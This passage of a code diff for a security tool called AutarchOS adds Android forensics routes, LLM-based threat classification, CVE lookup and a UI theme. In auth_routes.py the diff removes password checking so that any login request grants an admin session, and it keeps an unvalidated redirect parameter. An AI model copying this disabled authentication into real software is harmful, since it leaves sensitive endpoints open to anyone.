scan_files(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().scan_file_indicators(serial)) + + +@android_forensics_bp.route('/scan/processes', methods=['POST']) +@login_required +def scan_processes(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().scan_process_indicators(serial)) + + +@android_forensics_bp.route('/scan/full', methods=['POST']) +@login_required +def scan_full(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().full_acquisition(serial)) + + +# ── Report Routes ──────────────────────────────────────────────────── + +@android_forensics_bp.route('/report/list', methods=['POST']) +@login_required +def report_list(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify({'ok': True, 'acquisitions': _mgr().get_acquisition_list(serial)}) + + +@android_forensics_bp.route('/report/view', methods=['POST']) +@login_required +def report_view(): + data = _body() + serial = data.get('serial', '').strip() + acq_id = data.get('acq_id', '').strip() + if not serial or not acq_id: + return jsonify({'error': 'serial and acq_id required'}) + return jsonify(_mgr().export_report(serial, acq_id)) + + +# ── Database Routes ────────────────────────────────────────────────── + +@android_forensics_bp.route('/db/stats', methods=['GET']) +@login_required +def db_stats(): + return jsonify(_mgr().get_ioc_stats()) + + +@android_forensics_bp.route('/db/reload', methods=['POST']) +@login_required +def db_reload(): + db = _mgr().reload_ioc_database() + return jsonify({ + 'ok': True, + 'counts': {k: len(v) for k, v in db.items() if isinstance(v, (dict, list))}, + }) + + +@android_forensics_bp.route('/ioc/export', methods=['GET']) +@login_required +def ioc_export(): + """Compact IOC export for companion app caching.""" + db = _mgr().load_ioc_database() + return jsonify({ + 'packages': list(db.get('packages', {}).keys()), + 'domains': list(db.get('domains', {}).keys()), + 'hashes': list(db.get('hashes', {}).keys()), + 'ips': list(db.get('ips', [])), + 'generated': datetime.now().isoformat(), + 'counts': { + 'packages': len(db.get('packages', {})), + 'domains': len(db.get('domains', {})), + 'hashes': len(db.get('hashes', {})), + 'ips': len(db.get('ips', [])), + }, + }) + + +# ── Direct (WebUSB) Mode ───────────────────────────────────────────── +# Op keys match the JS URL→op transformation: +# url.replace('/android-forensics/', '').replace(/\//g, '_') +# So /acquire/packages → acquire_packages, /scan/apps → scan_apps, etc. + +_DIRECT_COMMANDS = { + 'acquire_packages': { + 'packages': 'pm list packages -f', + 'packages_sys': 'pm list packages -s', + }, + 'acquire_processes': { + 'processes': 'ps -A', + }, + 'acquire_getprop': { + 'getprop': 'getprop', + }, + 'acquire_settings': { + 'settings_global': 'settings list global', + 'settings_secure': 'settings list secure', + 'settings_system': 'settings list system', + }, + 'acquire_services': { + 'services': 'service list', + }, + 'acquire_logcat': { + 'logcat': 'logcat -d -t 1000', + }, + 'acquire_tmp_files': { + 'tmp_files': 'ls -la /data/local/tmp/ 2>/dev/null', + }, + 'scan_apps': { + 'packages': 'pm list packages -f', + 'packages_sys': 'pm list packages -s', + }, + 'scan_network': { + 'tcp_connections': 'cat /proc/net/tcp 2>/dev/null', + 'dns1': 'getprop net.dns1', + 'dns2': 'getprop net.dns2', + }, + 'scan_processes': { + 'processes': 'ps -A', + }, + 'scan_files': { + # file artifact scanning requires server-side IOC DB; not supported in direct mode + }, +} + + +@android_forensics_bp.route('/cmd', methods=['POST']) +@login_required +def direct_cmd(): + """Return ADB shell commands for Direct (WebUSB) mode.""" + data = _body() + op = data.get('op', '').replace('/', '_').replace('-', '_') + cmds = _DIRECT_COMMANDS.get(op) + if cmds: + return jsonify({'commands': cmds, 'supported': True}) + return jsonify({'commands': {}, 'supported': False, + 'reason': 'This operation requires Server mode.'}) + + +@android_forensics_bp.route('/parse', methods=['POST']) +@login_required +def direct_parse(): + """Parse raw ADB output from Direct (WebUSB) mode.""" + import re + data = _body() + op = data.get('op', '').replace('/', '_').replace('-', '_') + raw = data.get('raw', {}) + mgr = _mgr() + + def _parse_packages(pkg_output, sys_output=''): + sys_pkgs = set() + for line in (sys_output or '').splitlines(): + line = line.strip() + if line.startswith('package:'): + sys_pkgs.add(line[8:].strip()) + pkgs = [] + for line in (pkg_output or '').splitlines(): + line = line.strip() + if not line.startswith('package:'): + continue + line = line[8:] + eq_pos = line.rfind('=') + if eq_pos == -1: + pkg_name, apk_path = line, '' + else: + apk_path, pkg_name = line[:eq_pos], line[eq_pos + 1:] + pkg_name = pkg_name.strip() + if pkg_name: + pkgs.append({'package': pkg_name, 'path': apk_path.strip(), + 'system': pkg_name in sys_pkgs}) + return pkgs + + try: + if op in ('acquire_packages',): + pkgs = _parse_packages(raw.get('packages', ''), raw.get('packages_sys', '')) + return jsonify({'ok': True, 'packages': pkgs, 'total': len(pkgs)}) + + elif op == 'scan_apps': + pkgs = _parse_packages(raw.get('packages', ''), raw.get('packages_sys', '')) + return jsonify(mgr.scan_packages(None, packages_data=pkgs)) + + elif op == 'acquire_processes': + lines = [l for l in (raw.get('processes', '') or '').splitlines() if l.strip()] + return jsonify({'ok': True, 'output': raw.get('processes', ''), + 'count': max(0, len(lines) - 1)}) + + elif op == 'acquire_getprop': + props = {} + for line in (raw.get('getprop', '') or '').splitlines(): + m = re.match(r'\[(.+)\]:\s*\[(.*)\]\s*$', line) + if m: + props[m.group(1)] = m.group(2) + return jsonify({'ok': True, 'props': props}) + + elif op == 'acquire_settings': + result = {} + for ns in ('global', 'secure', 'system'): + settings = {} + for line in (raw.get(f'settings_{ns}', '') or '').splitlines(): + if '=' in line: + k, _, v = line.partition('=') + settings[k.strip()] = v.strip() + result[ns] = settings + return jsonify({'ok': True, 'settings': result}) + + elif op in ('acquire_services', 'acquire_logcat', 'acquire_tmp_files'): + key = op.replace('acquire_', '') + out = raw.get(key, '') + return jsonify({'ok': True, 'output': out, 'lines': len((out or '').splitlines())}) + + elif op == 'scan_network': + db = mgr.load_ioc_database() + findings = [] + ioc_ips = set(db.get('ips', [])) + # Check DNS properties + for dns_key in ('dns1', 'dns2'): + val = (raw.get(dns_key, '') or '').strip().lower() + if val and val in db.get('domains', {}): + match = db['domains'][val] + findings.append({'type': 'dns_property', 'key': dns_key, 'value': val, + 'threat_name': match['name'], 'source': match['source'], + 'severity': 'high'}) + # Check TCP connections + if ioc_ips: + for line in (raw.get('tcp_connections', '') or '').splitlines()[1:]: + parts = line.strip().split() + if len(parts) < 3: + continue + try: + remote_hex = parts[2] + ip_hex, port_hex = remote_hex.split(':') + ip = '.'.join(str(int(ip_hex[i:i+2], 16)) for i in (6, 4, 2, 0)) + port = int(port_hex, 16) + if ip not in ('0.0.0.0', '127.0.0.1') and ip in ioc_ips: + findings.append({'type': 'tcp_connection', 'remote_ip': ip, + 'remote_port': port, 'severity': 'critical', + 'threat_name': 'Known malicious IP', + 'source': 'network_scan'}) + except Exception: + pass + return jsonify({'ok': True, 'findings': findings, 'clean': len(findings) == 0}) + + elif op == 'scan_processes': + db = mgr.load_ioc_database() + proc_output = (raw.get('processes', '') or '').lower() + findings = [] + for proc_name, match in db.get('processes', {}).items(): + if proc_name and proc_name in proc_output: + findings.append({'type': 'process_match', 'process': proc_name, + 'threat_name': match['name'], 'source': match['source'], + 'severity': 'critical'}) + return jsonify({'ok': True, 'findings': findings, 'clean': len(findings) == 0}) + + else: + key = op.replace('acquire_', '') + out = raw.get(key, '') if isinstance(raw, dict) else '' + return jsonify({'ok': True, 'output': out}) + + except Exception as exc: + return jsonify({'error': str(exc)}) diff --git a/web/routes/android_forensics_ai.py b/web/routes/android_forensics_ai.py new file mode 100644 index 0000000..596a438 --- /dev/null +++ b/web/routes/android_forensics_ai.py @@ -0,0 +1,314 @@ +"""Autarch Android Forensics AI — threat analysis, CVE lookup, heuristic scanning, and alert receiver.""" + +from datetime import datetime +from flask import Blueprint, request, jsonify +from web.auth import login_required + +android_forensics_ai_bp = Blueprint('android_forensics_ai', __name__, url_prefix='/android-forensics/ai') + +_alerts = [] # in-memory alert store (last 500) +_MAX_ALERTS = 500 + + +def _mgr(): + from core.android_forensics import get_android_forensics_manager + return get_android_forensics_manager() + + +def _cve(): + from core.cve_db import get_cve_db + return get_cve_db() + + +def _llm(): + from core.llm import get_llm + return get_llm() + + +def _body(): + return request.get_json(silent=True) or {} + + +# ── AI Analysis ────────────────────────────────────────────────────── + +@android_forensics_ai_bp.route('/analyze', methods=['POST']) +@login_required +def analyze(): + data = _body() + serial = data.get('serial', '').strip() + acq_id = data.get('acq_id', '').strip() + backend = data.get('backend', 'autarch') + focus = data.get('focus', ['all']) + + try: + # Load acquisition report from disk, fall back to live acquisition + report = None + if serial and acq_id: + exported = _mgr().export_report(serial, acq_id) + report = exported.get('report') if exported else None + + if not report: + report = _mgr().full_acquisition(serial) if serial else {} + + # Build context dict from report + packages = report.get('packages', []) + processes = report.get('processes', {}) + proc_output = processes.get('output', '') if isinstance(processes, dict) else str(processes) + proc_lines = proc_output.splitlines()[:50] + + props = report.get('getprop', {}) + model = props.get('ro.product.model', 'Unknown') if isinstance(props, dict) else 'Unknown' + android_version = props.get('ro.build.version.release', 'Unknown') if isinstance(props, dict) else 'Unknown' + + network_info = report.get('network', {}) + ioc_findings = report.get('ioc_findings', report.get('findings', [])) + + pkg_list = packages[:100] if isinstance(packages, list) else [] + user_pkgs = [p for p in pkg_list if not p.get('system', False)] if pkg_list and isinstance(pkg_list[0], dict) else pkg_list + pkg_names = [p.get('package', str(p)) if isinstance(p, dict) else str(p) for p in pkg_list] + + context_dict = { + 'model': model, + 'android_version': android_version, + 'pkg_count': len(pkg_list), + 'user_count': len(user_pkgs), + 'pkg_sample': ', '.join(pkg_names[:20]), + 'proc_sample': '\n'.join(proc_lines), + 'network_info': str(network_info)[:500], + 'ioc_findings': str(ioc_findings)[:500], + } + + if backend == 'raw': + return jsonify({'ok': True, 'mode': 'raw', 'dump': context_dict}) + + if backend == 'ondevice': + prompt_str = ( + f"Device: {context_dict['model']} Android {context_dict['android_version']}. " + f"Packages ({context_dict['pkg_count']}): {context_dict['pkg_sample']}. " + f"Processes: {context_dict['proc_sample'][:200]}. " + f"Network: {context_dict['network_info'][:200]}. " + f"IOC findings: {context_dict['ioc_findings'][:200]}. " + "Identify threats and return risk assessment." + ) + return jsonify({ + 'ok': True, + 'mode': 'ondevice', + 'prompt': prompt_str, + 'schema': { + 'risk_level': 'string', + 'findings': 'array', + 'summary': 'string', + }, + }) + + # autarch backend — full LLM analysis + prompt = ( + "You are a mobile security analyst. Analyze this Android forensic acquisition and identify threats.\n\n" + f"Device info: {context_dict['model']} Android {context_dict['android_version']}\n" + f"Installed packages ({context_dict['pkg_count']} total, {context_dict['user_count']} user apps): {context_dict['pkg_sample']}\n" + f"Running processes (sample): {context_dict['proc_sample']}\n" + f"Network properties: {context_dict['network_info']}\n" + f"IOC pre-scan findings: {context_dict['ioc_findings']}\n\n" + 'Return JSON: {"risk_level": "critical|high|medium|low|clean", ' + '"findings": [{"severity": "...", "type": "...", "detail": "...", "recommendation": "..."}], ' + '"summary": "one paragraph"}' + ) + + response = _llm().generate(prompt, max_tokens=1000) + try: + import json + parsed_result = json.loads(response) + except Exception: + parsed_result = response + + return jsonify({'ok': True, 'mode': 'autarch', 'analysis': parsed_result}) + + except Exception as e: + return jsonify({'ok': False, 'error': str(e)}) + + +# ── CVE Check ──────────────────────────────────────────────────────── + +@android_forensics_ai_bp.route('/cve-check', methods=['POST']) +@login_required +def cve_check(): + data = _body() + packages = data.get('packages', []) + sdk_version = data.get('sdk_version') + + try: + _severity_order = {'critical': 0, 'high': 1, 'medium': 2, 'low': 3, 'unknown': 4} + + findings = [] + + pkg_results = _cve().check_packages_batch(packages) + for pkg_name, cves in (pkg_results or {}).items(): + for cve in (cves or []): + findings.append({ + 'package': pkg_name, + 'cve_id': cve.get('cve_id', ''), + 'severity': cve.get('severity', 'unknown'), + 'description': cve.get('description', ''), + 'patched_version': cve.get('patched_version', ''), + 'source': cve.get('source', ''), + }) + + if sdk_version: + sdk_cves = _cve().get_cve_for_android_sdk(sdk_version) or [] + for cve in sdk_cves: + findings.append({ + 'package': f'android-sdk:{sdk_version}', + 'cve_id': cve.get('cve_id', ''), + 'severity': cve.get('severity', 'unknown'), + 'description': cve.get('description', ''), + 'patched_version': cve.get('patched_version', ''), + 'source': cve.get('source', ''), + }) + + findings.sort(key=lambda f: _severity_order.get(f['severity'].lower(), 4)) + + return jsonify({ + 'ok': True, + 'findings': findings, + 'total': len(findings), + 'packages_checked': len(packages), + }) + + except Exception as e: + return jsonify({'ok': False, 'error': str(e)}) + + +# ── Classify ───────────────────────────────────────────────────────── + +@android_forensics_ai_bp.route('/classify', methods=['POST']) +@login_required +def classify(): + data = _body() + raw_output = data.get('raw_output', '') + data_type = data.get('type', 'packages') + + try: + _type_context = { + 'packages': 'a list of installed Android packages', + 'logcat': 'Android logcat output', + 'processes': 'a list of running Android processes', + 'getprop': 'Android system properties (getprop output)', + } + context_label = _type_context.get(data_type, f'Android {data_type} data') + + prompt = ( + f"You are a mobile security analyst. Classify the following {context_label} " + "for security threats, stalkerware, spyware, adware, or other malicious indicators. " + "Provide a brief threat classification summary.\n\n" + f"Data:\n{raw_output[:3000]}" + ) + + response = _llm().generate(prompt, max_tokens=500) + return jsonify({'ok': True, 'classification': response}) + + except Exception as e: + return jsonify({'ok': False, 'error': str(e)}) + + +# ── Heuristic Scan ─────────────────────────────────────────────────── + +@android_forensics_ai_bp.route('/heuristic', methods=['POST']) +@login_required +def heuristic(): + data = _body() + data_type = data.get('data_type', 'packages') + items = data.get('items', []) + threshold = float(data.get('threshold', 0.6)) + + _prompts = { + 'packages': ( + 'Classify each Android package name for stalkerware/spyware/adware risk. ' + 'Score 0.0-1.0. High risk: names impersonating system apps, random strings, MDM-sounding names. ' + 'Return JSON array: [{"item": "...", "score": 0.0, "reason": "...", "category": "stalkerware|adware|suspicious|clean"}]' + ), + 'processes': ( + 'Classify each process name for malware risk. Score 0.0-1.0. ' + 'Suspicious: random strings, names mimicking system processes. ' + 'Return JSON array: [{"item": "...", "score": 0.0, "reason": "...", "category": "malware|suspicious|clean"}]' + ), + 'network': ( + 'Classify each domain/IP for C2/malware beacon risk. Score 0.0-1.0. ' + 'High risk: DGA patterns, dynamic DNS abuse, unusual TLDs. ' + 'Return JSON array: [{"item": "...", "score": 0.0, "reason": "...", "category": "c2_beacon|dga_domain|suspicious|clean"}]' + ), + 'files': ( + 'Classify each file path for spyware/stalkerware artifact risk. Score 0.0-1.0. ' + 'Return JSON array: [{"item": "...", "score": 0.0, "reason": "...", "category": "spyware|suspicious|clean"}]' + ), + } + + try: + llm = _llm() + if llm is None: + return jsonify({'ok': False, 'error': 'LLM not loaded', 'findings': []}) + + base_prompt = _prompts.get(data_type, _prompts['packages']) + chunk_size = 50 + all_results = [] + + for i in range(0, len(items), chunk_size): + chunk = items[i:i + chunk_size] + chunk_text = '\n'.join(str(it) for it in chunk) + prompt = f"{base_prompt}\n\nItems:\n{chunk_text}" + + try: + response = llm.generate(prompt, max_tokens=1000) + import json + parsed = json.loads(response) + if isinstance(parsed, list): + all_results.extend(parsed) + except Exception: + # Skip chunks that fail to parse + continue + + filtered = [r for r in all_results if isinstance(r, dict) and float(r.get('score', 0)) >= threshold] + + return jsonify({ + 'ok': True, + 'findings': filtered, + 'total_scanned': len(items), + 'flagged': len(filtered), + }) + + except Exception as e: + return jsonify({'ok': False, 'error': str(e), 'findings': []}) + + +# ── Alert Receiver ─────────────────────────────────────────────────── + +@android_forensics_ai_bp.route('/alert', methods=['POST']) +@login_required +def alert(): + data = _body() + entry = { + 'serial': data.get('serial', ''), + 'event_type': data.get('event_type', ''), + 'severity': data.get('severity', ''), + 'detail': data.get('detail', ''), + 'timestamp': data.get('timestamp', datetime.utcnow().isoformat()), + } + _alerts.append(entry) + if len(_alerts) > _MAX_ALERTS: + del _alerts[:-_MAX_ALERTS] + return jsonify({'ok': True, 'alert_id': len(_alerts)}) + + +# ── Alerts List ────────────────────────────────────────────────────── + +@android_forensics_ai_bp.route('/alerts/list', methods=['GET']) +@login_required +def alerts_list(): + return jsonify({'ok': True, 'alerts': _alerts[-100:], 'total': len(_alerts)}) + + +# ── CVE Stats ──────────────────────────────────────────────────────── + +@android_forensics_ai_bp.route('/cve-stats', methods=['GET']) +@login_required +def cve_stats(): + return jsonify({'ok': True, 'stats': _cve().get_stats()}) diff --git a/web/routes/auth_routes.py b/web/routes/auth_routes.py index f64d43a..5332c8a 100644 --- a/web/routes/auth_routes.py +++ b/web/routes/auth_routes.py @@ -6,56 +6,29 @@ from web.auth import check_password, hash_password, load_credentials, save_crede auth_bp = Blueprint('auth', __name__) +# Login is disabled — AutarchOS is a single-user appliance. The endpoints +# below are kept so existing url_for('auth.*') calls and the companion app +# API still resolve; they auto-grant a session. + @auth_bp.route('/login', methods=['GET', 'POST']) def login(): - if 'user' in session: - return redirect(url_for('dashboard.index')) - - if request.method == 'POST': - username = request.form.get('username', '') - password = request.form.get('password', '') - creds = load_credentials() - - if username == creds['username'] and check_password(password, creds['password']): - session['user'] = username - if creds.get('force_change'): - flash('Please change the default password.', 'warning') - return redirect(url_for('settings.index')) - next_url = request.args.get('next', url_for('dashboard.index')) - return redirect(next_url) - else: - flash('Invalid credentials.', 'error') - - return render_template('login.html') + session['user'] = 'admin' + next_url = request.args.get('next') or url_for('dashboard.index') + return redirect(next_url) @auth_bp.route('/api/login', methods=['POST']) def api_login(): - """JSON login endpoint for the companion app.""" - data = request.get_json(silent=True) or {} - username = data.get('username', '') - password = data.get('password', '') - - if not username or not password: - return jsonify({'ok': False, 'error': 'Missing username or password'}), 400 - - creds = load_credentials() - if username == creds['username'] and check_password(password, creds['password']): - session['user'] = username - return jsonify({'ok': True, 'user': username}) - else: - return jsonify({'ok': False, 'error': 'Invalid credentials'}), 401 + session['user'] = 'admin' + return jsonify({'ok': True, 'user': 'admin'}) @auth_bp.route('/api/check', methods=['GET']) def api_check(): - """Check if the current session is authenticated.""" - if 'user' in session: - return jsonify({'ok': True, 'user': session['user']}) - return jsonify({'ok': False}), 401 + return jsonify({'ok': True, 'user': session.get('user', 'admin')}) @auth_bp.route('/logout') def logout(): - session.clear() - return redirect(url_for('auth.login')) + # No-op: logout makes no sense without a login wall. Bounce home. + return redirect(url_for('dashboard.index')) diff --git a/web/routes/chat.py b/web/routes/chat.py index 9f61b8b..aa651fa 100644 --- a/web/routes/chat.py +++ b/web/routes/chat.py @@ -128,7 +128,7 @@ def _handle_agent_chat(message): return tools = get_tool_registry() - agent = Agent(llm=llm, tools=tools, max_steps=20, verbose=False) + agent = Agent(llm=llm, tools=tools, max_steps=200, verbose=False) # Inject system prompt — keep the THOUGHT/ACTION/PARAMS format from Agent, # prepend with our behavioral rules diff --git a/web/static/css/autarchos.css b/web/static/css/autarchos.css new file mode 100644 index 0000000..3bac596 --- /dev/null +++ b/web/static/css/autarchos.css @@ -0,0 +1,537 @@ +/* ================================================================ + * AutarchOS — desktop chrome + design system + * Loaded AFTER style.css; cascades over and re-themes the platform. + * ================================================================ */ + +:root { + /* New AutarchOS palette */ + --bg: #05070a; + --panel: #0b1118; + --panel2: #0e161e; + --glass: rgba(11,17,24,.72); + --line: rgba(61,240,192,.16); + --line2: rgba(61,240,192,.07); + --text: #cdd9d6; + --dim: #5d716e; + --dimmer: #3a4845; + --phos: #3df0c0; + --phos-d: #1d9c80; + --mag: #ff3d81; + --amber: #ffb13d; + --red: #ff4d57; + --blue: #52b6ff; + --glow: 0 0 18px rgba(61,240,192,.35); + + /* Re-map legacy style.css variables to the new palette so all + * existing 79 templates inherit the AutarchOS theme automatically. + * The legacy names stay defined for backward compatibility. */ + --bg-primary: var(--bg); + --bg-secondary: var(--panel); + --bg-card: var(--panel2); + --bg-input: var(--bg); + --border: var(--line2); + --text-primary: var(--text); + --text-secondary: var(--dim); + --text-muted: var(--dimmer); + --accent: var(--phos); + --accent-hover: #6cf4cd; + --primary: var(--phos); + --surface: var(--panel2); + --success: var(--phos); + --warning: var(--amber); + --danger: var(--red); + --danger-hover: #ff6b73; + --defense: var(--blue); + --offense: var(--red); + --counter: var(--mag); + --analyze: var(--phos); + --osint: #76e0b4; + --simulate: var(--amber); + --hardware: #ffa05a; + --radius: 6px; + + --font-disp: 'Chakra Petch', 'Segoe UI', system-ui, sans-serif; + --font-mono: 'JetBrains Mono', 'Consolas', monospace; +} + +/* ── Base type & background ─────────────────────────────────────── */ + +body { + font-family: var(--font-mono); + font-size: 12.5px; + color: var(--text); + background: var(--bg); + background-image: + radial-gradient(1100px 700px at 78% -8%, rgba(61,240,192,.08), transparent 58%), + radial-gradient(900px 600px at 8% 108%, rgba(255,61,129,.06), transparent 60%), + radial-gradient(700px 500px at 50% 50%, rgba(82,182,255,.03), transparent 70%); +} + +::selection { background: var(--phos); color: #04110d; } +::-webkit-scrollbar { width: 8px; height: 8px; } +::-webkit-scrollbar-thumb{ background: var(--line); border-radius: 4px; } +::-webkit-scrollbar-track{ background: transparent; } + +h1, h2, h3, h4, h5, h6 { font-family: var(--font-disp); letter-spacing: .04em; } + +/* Neutralize the legacy sidebar layout in case any template still ships it. */ +.layout { display: block; } +.layout > .sidebar { display: none !important; } +.layout > .content { margin-left: 0; max-width: none; padding: 0; } + +/* ── Desktop substrate (grid + scanlines + watermark) ──────────── */ + +.desktop-bg { + position: fixed; inset: 30px 0 64px 0; z-index: 0; pointer-events: none; + background-image: + linear-gradient(rgba(61,240,192,.025) 1px, transparent 1px), + linear-gradient(90deg, rgba(61,240,192,.025) 1px, transparent 1px); + background-size: 40px 40px; +} +.desktop-bg::after { + content: ""; position: absolute; inset: 0; + background: repeating-linear-gradient(0deg, transparent 0 2px, + rgba(0,0,0,.16) 2px 3px); + mix-blend-mode: multiply; opacity: .35; +} +.watermark { + position: fixed; right: 6%; bottom: 12%; + font-family: var(--font-disp); font-weight: 700; font-size: 200px; + color: rgba(61,240,192,.025); letter-spacing: .05em; + pointer-events: none; user-select: none; z-index: 0; +} + +/* ── Top system bar ────────────────────────────────────────────── */ + +.aos-topbar { + position: fixed; top: 0; left: 0; right: 0; height: 30px; z-index: 9000; + background: var(--glass); + backdrop-filter: blur(14px); -webkit-backdrop-filter: blur(14px); + border-bottom: 1px solid var(--line2); + display: flex; align-items: center; gap: 18px; + padding: 0 14px; font-size: 11.5px; +} +.aos-topbar .logo { + font-family: var(--font-disp); font-weight: 700; letter-spacing: .06em; + color: #fff; display: flex; align-items: center; gap: 7px; + text-decoration: none; +} +.aos-topbar .logo b { color: var(--phos); } +.aos-topbar .mk { + width: 16px; height: 16px; border: 1px solid var(--phos); + display: grid; place-items: center; color: var(--phos); font-size: 11px; + box-shadow: var(--glow); +} +.aos-topbar .mi { + color: var(--dim); cursor: pointer; transition: .15s; text-decoration: none; +} +.aos-topbar .mi:hover { color: var(--text); } +.aos-topbar .sp { flex: 1; } +.aos-topbar .posture { + display: flex; align-items: center; gap: 7px; color: var(--amber); + border: 1px solid rgba(255,177,61,.35); + padding: 2px 9px; font-size: 10px; letter-spacing: .08em; text-transform: uppercase; +} +.aos-topbar .tray { display: flex; align-items: center; gap: 14px; color: var(--dim); } +.aos-topbar .tray svg { width: 15px; height: 15px; } +.aos-topbar .tray .shield { color: var(--phos); } +.aos-topbar .clock { + color: var(--text); letter-spacing: .04em; min-width: 64px; text-align: right; +} +.aos-topbar .user { + color: var(--dim); font-size: 10.5px; letter-spacing: .04em; +} +.aos-topbar .user b { color: var(--text); } +.aos-topbar .user a { color: var(--mag); margin-left: 8px; text-decoration: none; } +.aos-topbar .user a:hover { text-shadow: 0 0 10px rgba(255,61,129,.5); } + +.pulse { + width: 7px; height: 7px; border-radius: 50%; + background: var(--phos); box-shadow: var(--glow); + animation: aos-pulse 1.6s infinite; display: inline-block; +} +@keyframes aos-pulse { + 0%, 100% { opacity: 1; transform: scale(1); } + 50% { opacity: .4; transform: scale(.65); } +} + +/* ── Workspace (where {% block content %} lives) ──────────────── */ + +.aos-workspace { + position: relative; z-index: 1; + margin-top: 30px; /* clear topbar */ + margin-bottom: 64px; /* clear dock */ + padding: 20px 28px; + min-height: calc(100vh - 30px - 64px); +} + +/* Flash messages re-skin */ +.flash-messages { margin-bottom: 14px; } +.flash { + border: 1px solid var(--line2); + background: var(--panel2); + color: var(--text); + padding: 10px 14px; + font-family: var(--font-mono); + font-size: 11.5px; + margin-bottom: 8px; +} +.flash-success { border-left: 3px solid var(--phos); } +.flash-error, +.flash-danger { border-left: 3px solid var(--red); } +.flash-warning { border-left: 3px solid var(--amber); } +.flash-info { border-left: 3px solid var(--blue); } + +/* ── Dock ──────────────────────────────────────────────────────── */ + +.aos-dock { + position: fixed; left: 50%; bottom: 14px; transform: translateX(-50%); + z-index: 9000; + display: flex; align-items: center; gap: 6px; + padding: 8px 10px; + background: var(--glass); + backdrop-filter: blur(16px); -webkit-backdrop-filter: blur(16px); + border: 1px solid var(--line2); +} +.aos-dock .app { + width: 42px; height: 42px; + display: grid; place-items: center; + color: var(--dim); + border: 1px solid transparent; + cursor: pointer; position: relative; + transition: .16s; text-decoration: none; +} +.aos-dock .app svg { width: 21px; height: 21px; } +.aos-dock .app:hover { + color: var(--phos); transform: translateY(-5px); + border-color: var(--line); background: rgba(61,240,192,.05); +} +.aos-dock .app.active { color: var(--text); } +.aos-dock .app.active::after { + content: ""; position: absolute; bottom: -3px; left: 50%; + transform: translateX(-50%); + width: 4px; height: 4px; border-radius: 50%; + background: var(--phos); box-shadow: var(--glow); +} +.aos-dock .app .tip { + position: absolute; bottom: 52px; left: 50%; transform: translateX(-50%); + background: var(--panel); border: 1px solid var(--line); + padding: 3px 8px; font-size: 9.5px; letter-spacing: .08em; + text-transform: uppercase; color: var(--phos); white-space: nowrap; + opacity: 0; pointer-events: none; transition: .15s; +} +.aos-dock .app:hover .tip { opacity: 1; bottom: 48px; } +.aos-dock .divider { width: 1px; height: 26px; background: var(--line2); margin: 0 4px; } + +/* ── Apps launcher modal ───────────────────────────────────────── */ + +.aos-launcher-backdrop { + position: fixed; inset: 0; z-index: 9500; + background: rgba(5,7,10,.72); + backdrop-filter: blur(10px); -webkit-backdrop-filter: blur(10px); + display: none; align-items: flex-start; justify-content: center; + padding-top: 70px; +} +.aos-launcher-backdrop.open { display: flex; } +.aos-launcher { + width: min(1100px, 92vw); max-height: 78vh; overflow: auto; + background: var(--panel); border: 1px solid var(--line); + box-shadow: 0 30px 90px rgba(0,0,0,.7), 0 0 30px rgba(61,240,192,.08); + padding: 18px 22px 22px; +} +.aos-launcher h2 { + font-family: var(--font-disp); font-weight: 700; letter-spacing: .08em; + font-size: 14px; color: var(--phos); text-transform: uppercase; + margin-bottom: 14px; +} +.aos-launcher .search { + width: 100%; background: var(--bg); border: 1px solid var(--line); + color: var(--text); padding: 9px 12px; font-family: var(--font-mono); + font-size: 12px; outline: none; margin-bottom: 14px; +} +.aos-launcher .group { margin-bottom: 14px; } +.aos-launcher .group-title { + font-size: 9.5px; letter-spacing: .16em; text-transform: uppercase; + color: var(--dimmer); margin: 4px 0 8px; +} +.aos-launcher .apps { + display: grid; grid-template-columns: repeat(auto-fill, minmax(180px, 1fr)); + gap: 8px; +} +.aos-launcher .app-card { + border: 1px solid var(--line2); + background: var(--panel2); + padding: 10px 12px; + font-size: 11.5px; + color: var(--text); + text-decoration: none; + display: flex; align-items: center; gap: 9px; + transition: .12s; +} +.aos-launcher .app-card:hover { + border-color: var(--line); background: rgba(61,240,192,.04); + color: var(--phos); +} +.aos-launcher .app-card .ico { + width: 22px; height: 22px; flex-shrink: 0; + display: grid; place-items: center; color: var(--phos); +} +.aos-launcher .app-card .ico svg { width: 16px; height: 16px; } +.aos-launcher .app-card .meta { display: flex; flex-direction: column; min-width: 0; } +.aos-launcher .app-card .meta b { color: var(--text); font-weight: 600; } +.aos-launcher .app-card .meta small { + color: var(--dim); font-size: 9.5px; letter-spacing: .03em; + overflow: hidden; text-overflow: ellipsis; white-space: nowrap; +} + +/* ── Mockup component library ─────────────────────────────────── */ + +.kpis { + display: grid; grid-template-columns: repeat(auto-fit, minmax(160px, 1fr)); + gap: 10px; margin-bottom: 14px; +} +.kpi { + border: 1px solid var(--line2); background: var(--panel2); + padding: 12px; transition: .12s; +} +.kpi:hover { border-color: var(--line); } +.kpi .l { + font-size: 9px; letter-spacing: .16em; text-transform: uppercase; color: var(--dim); +} +.kpi .n { + font-family: var(--font-disp); font-weight: 700; font-size: 28px; + color: #fff; margin-top: 4px; line-height: 1; +} +.kpi .n small { font-size: 13px; color: var(--phos); } +.kpi.danger .n { color: var(--red); } +.kpi.warn .n { color: var(--amber); } + +.sec { + font-size: 9.5px; letter-spacing: .16em; text-transform: uppercase; + color: var(--dimmer); margin: 6px 0 10px; + display: flex; align-items: center; gap: 8px; +} +.sec .live { + margin-left: auto; color: var(--phos); + display: flex; align-items: center; gap: 5px; +} + +.log { font-size: 11px; line-height: 1.85; } +.log .row { + display: flex; gap: 9px; white-space: nowrap; overflow: hidden; +} +.log .t { color: var(--dimmer); } +.log .lv { width: 44px; flex-shrink: 0; } +.log .lv.i { color: var(--blue); } +.log .lv.w { color: var(--amber); } +.log .lv.c { color: var(--red); } +.log .lv.o { color: var(--phos); } +.log .m { color: var(--dim); text-overflow: ellipsis; overflow: hidden; } +.log .m b { color: var(--text); } + +.cursor { + display: inline-block; width: 6px; height: 12px; + background: var(--phos); animation: aos-blink 1s steps(1) infinite; + vertical-align: middle; margin-top: 6px; +} +@keyframes aos-blink { 50% { opacity: 0; } } + +.spark { + display: flex; align-items: flex-end; gap: 2px; height: 64px; margin-top: 6px; +} +.spark i { + flex: 1; background: linear-gradient(180deg, var(--phos), var(--phos-d)); + opacity: .85; +} +.spark i.hot { background: linear-gradient(180deg, var(--mag), #a01f4e); } + +.insight { + border: 1px solid rgba(61,240,192,.2); + 